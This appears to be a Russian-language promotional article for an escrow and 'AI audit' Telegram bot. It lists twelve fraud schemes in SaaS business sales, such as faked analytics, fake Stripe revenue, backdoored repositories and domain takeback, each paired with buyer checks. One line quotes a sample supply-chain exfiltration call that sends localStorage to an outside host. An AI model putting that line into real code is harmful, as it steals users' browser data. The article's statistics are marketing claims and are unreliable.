12 схем скама при продаже SaaS в 2025 — и как их обойти за 7 минут с AI-гарантом
В 2025 году 84 проваленные сделки с IT-бизнесом ($50k–$500k) показали: мошенники больше не используют «грубую силу». Они внедряют тонкие технические ловушки — которые проходят мимо даже опытных due diligence.
Мы собрали и классифицировали все 12 схем по данным споров в нашем эскроу-сервисе. Каждая — с реальным кейсом, механикой обхода и AI-протоколом защиты.
❗ Важно: 92% жертв — не новички. Это инвесторы с опытом, владельцы IT-продуктов, ex-продуктовые менеджеры FAANG. Они прошли «визуальный аудит», но не проверили инженерную целостность.
Схемы №1–4: Подмена данных
«Красивый GA4» — подмена аналитики
Продавец предоставляет доступ к GA4 с LTV = $120, CAC = $22, Retention 45%. На деле — отдельный property для инвестора, где события генерируются через скрипт.
- События purchase — отправляются каждые 8 минут
- Пользователи — имитируются через headless-браузеры
- Источники — рандомизированы под «органику» и «email»
🛡️ Как проверить за 90 секунд:
— Запросите raw BigQuery-экспорт за 90 дней.
— Проверьте распределение времени между событиями (нормальное vs. равномерное).
— Используйте наш AI-сканер: он ищет event_timestamp % 480 == 0 — признак бот-генерации.
«Stripe с прибылью» — fake revenue
Выписка из Stripe показывает $18k/mo. Но 73% — рефанды через 14 дней + тестовые платежи по $0.50 с пометкой «test» в description.
В одном кейсе: $42k revenue → $9.2k net после отсечения фейков.
🛡️ Как проверить:
— Экспорт charges.csv → фильтр по status= succeeded AND refunded=false.
— Проверка IP через MaxMind: массовые платежи из одного дата-центра — red flag.
— В нашем боте: автоматический Stripe Revenue Validator (включён по умолчанию для SaaS).
«GitHub с кодом» — подмена репозитория
Продавец даёт доступ к репозиторию с 200+ коммитами. Но на продакшене — старая версия с backdoor.
Как? Через тег v2.4.1-hotfix — который не совпадает с хешем коммита в Docker-образе.
🛡️ Как проверить:
— Запустите git verify-tag для всех тегов.
— Сравните хеш коммита в Dockerfile и в .git/refs/tags/.
— В эскроу: наш AI делает diff между staging и prod-образами автоматически.
«CRM с клиентами» — база-призрак
1 240 клиентов в HubSpot. На деле — 819 неактивны >180 дней, 312 — дубли (разные email, один IP), 67 — подозрительные (временные email + одинаковый user-agent).
🛡️ Как проверить:
— Экспорт contacts.csv → анализ по last_activity_date, email_domain, IP hash.
— Проверка через Clearbit Reveal: совпадение company domain vs. email domain.
— В Telegram-боте: нажмите /audit crm — получите отчёт за 2 минуты.
Схемы №5–8: Технические backdoor’ы
«Забытая админка» — скрытый доступ
После передачи — через 30 дней пропадает 40% трафика. Почему? У продавца остался доступ к Cloudflare Workers, где стоит редирект на его новый продукт.
🛡️ Как проверить:
— Полный аудит: Cloudflare, AWS IAM, GitHub Deploy Keys, Vercel, Firebase.
— Поиск по регулярке: /worker|function|lambda|deploy|key/ig в коде и env’ах.
— В эскроу: этап Access Revocation Test — все ключи отзываются перед разблокировкой 50%.
«Обновление через npm» — supply-chain attack
В package.json — зависимость ui-kit-v2 из private GitHub registry.
После покупки — обновление пакета добавляет fetch('https://exfiltrate.xyz', { body: localStorage }).
🛡️ Как проверить:
— Анализ package-lock.json на неизвестные хосты.
— Запуск npm audit --audit-level=high + ручной review всех private deps.
— В AI-протоколе: sandbox-запуск build’а с network monitor’ом.
«API-ключи на Heroku» — утечка данных
Ключи в .env — не единственные. Есть дубли в Heroku Config Vars, Vercel Environment,
и скрытый .env.remote в корне.
🛡️ Как проверить:
— Поиск по grep -r "API_KEY\|SECRET\|TOKEN" . --exclude-dir=node_modules.
— Проверка CI/CD: GitHub Actions Secrets, GitLab Variables.
— В эскроу: автоматическая ротация всех ключей + генерация новых перед передачей.
«Домен на Namecheap» — откат через поддержку
Домен переведён, но не отвязан от аккаунта продавца. Через 60 дней он пишет в Namecheap: «I lost access, please restore to my email» — и получает control back.
🛡️ Как проверить:
— WHOIS-проверка: registrar-lock = ON, auth-code получен.
— Подтверждение отвязки аккаунта на Namecheap/Cloudflare.
— В Telegram-боте: этап Domain Handover Protocol — включает скриншот с отвязкой.
Схемы №9–12: Юридические и социальные трюки
«Договор с ИП» — подставное лицо
Продавец — ИП, зарегистрированный 3 дня назад. Реальный владелец — в офшоре. При споре: ИП банкротится, активы уже в BVI.
🛡️ Как проверить:
— Проверка по ИНН/ОГРНИП в ФНС, арбитражных делах, СПАРК.
— OSINT: связь email → Telegram → GitHub → LinkedIn → реальный владелец.
— В AI-аудите: автоматический cross-check с базами реальных бенефициаров (OpenSanctions, World-Check Lite).
«Оферта на GitHub» — неправомерное согласие
В README — «By using this repo you agree to transfer all rights». Никакой подписи. Судебная практика РФ/ЕАЭС не признаёт такую оферту для передачи ИС.
🛡️ Как проверить:
— Требуйте цифровой договор в IPFS с хешем в Ethereum.
— Используйте EIP-712 signed message для подтверждения согласия.
— В эскроу: генерация юр.договора с нотариальным timestamp’ом (SwissSign).
«Команда из 5 человек» — ghost employees
В pitch deck — команда с LinkedIn, фото, ролями. На деле — 1 человек, остальные — фрилансеры без контрактов. После покупки — уходят все, включая «CTO», который знал архитектуру.
🛡️ Как проверить:
— Проверка по commit history: кто реально писал код.
— Запрос контрактов (NDA, IP assignment).
— В AI-протоколе: этап Team Continuity Guarantee — 30-дневный onboarding с ключевыми людьми.
«Гарантия 90 дней» — отсутствие SLA
«Гарантируем поддержку 90 дней». Но без SLA: ответ за 72 часа, 99% uptime, bug bounty. На деле — отвечают раз в неделю, а после 60 дней — перестают.
🛡️ Как проверить:
— Требуйте SLA с пени: 5% от цены за каждый день просрочки.
— Включите в эскроу: 10% от цены — удерживается до конца срока поддержки.
— В Telegram-боте: автоматический мониторинг uptime и времени ответа в чате.
— инвестор из Дубая, 2024
Как запустить защиту за 7 минут (пошагово)
1. Откройте @GARANT_S_bot
Нажмите /start → Я продаю SaaS или Я покупаю IT-бизнес.
2. Введите данные
Ссылки на GitHub, Stripe, GA4, домен, договор (если есть).
3. Получите AI-аудит
Через 3–5 минут — отчёт по 12 рискам + рекомендации.
4. Запустите эскроу
Средства замораживаются. Активы передаются по защищённой схеме.
🔥 Запустить AI-аудит SaaS
Первые 3 сделки — бесплатно. Поддержка 24/7. 500+ готовых механик под ваш актив.
Информация основана на реальных спорах в эскроу-сервисе ГАРАНТ СДЕЛОК (январь 2024 – ноябрь 2025). Не является юридической рекомендацией. Используйте AI-аудит как часть комплексной due diligence. Результаты индивидуальны.
